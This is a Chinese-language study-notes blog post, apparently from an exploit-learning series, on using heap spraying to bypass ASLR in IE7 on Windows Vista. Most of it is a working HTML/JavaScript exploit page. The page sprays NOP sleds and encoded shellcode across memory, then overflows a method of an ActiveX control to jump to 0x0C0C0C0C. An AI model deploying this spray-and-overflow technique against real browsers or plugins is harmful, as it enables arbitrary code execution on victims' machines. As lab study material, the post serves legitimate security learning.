其他分享
首页 > 其他分享> > 漏洞学习笔记-019-利用HeapSpray攻击ASLR

漏洞学习笔记-019-利用HeapSpray攻击ASLR

作者:互联网


利用Heap Spray(堆喷射)技术来攻击ASLR并定位shellcode

本文来源:Moeomu的博客


原理

通过申请大量的内存,占领内存中的0x0C0C0C0C的位置,并在这些内存中放置0x90和shellcode,最后控制程序转入0x0C0C0C0C执行。只要运气不要差到0x0C0C0C0C刚好位于shellcode中的某个位置,shellcode就可以成功执行

实验

准备工作

环境:系统:Windows Vista SP0,DEP状态:默认,浏览器:IE7

思想

代码

<html>
<body>
<script>
    var nops = unescape("%u9090%u9090");
    var shellcode = "\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33\u6853\u616B\u6F6F\u4D68\u7369\u8B61\u53c4\u5050\uff53\ufc57\uff53\uf857";
    while (nops.length < 0x100000)
        nops += nops;
    nops = nops.substring(0, 0x100000/2-32/2-4/2-2/2-shellcode.length);
    nops = nops + shellcode;
    var memory = new Array();
    for (var i = 0; i < 200; i++)
        memory[i] += nops;
</script>
<object classid="clsid:ACA3927C-6BD1-4B4E-8697-72481279AAEC" id="test"> </object>
<script>
    var s = "\u9090";
    while (s.length < 54)
    {
        s += "\u9090";
    }
    s += "\u0C0C\u0C0C";
    test.test(s);
</script>
</body>
</html>

结果

pic1
pic2
pic3

标签:ASLR,nops,0x0C0C0C0C,HeapSpray,内存,var,019,shellcode
来源: https://www.cnblogs.com/bluedawn/p/Exploit-Study-Notes-19.html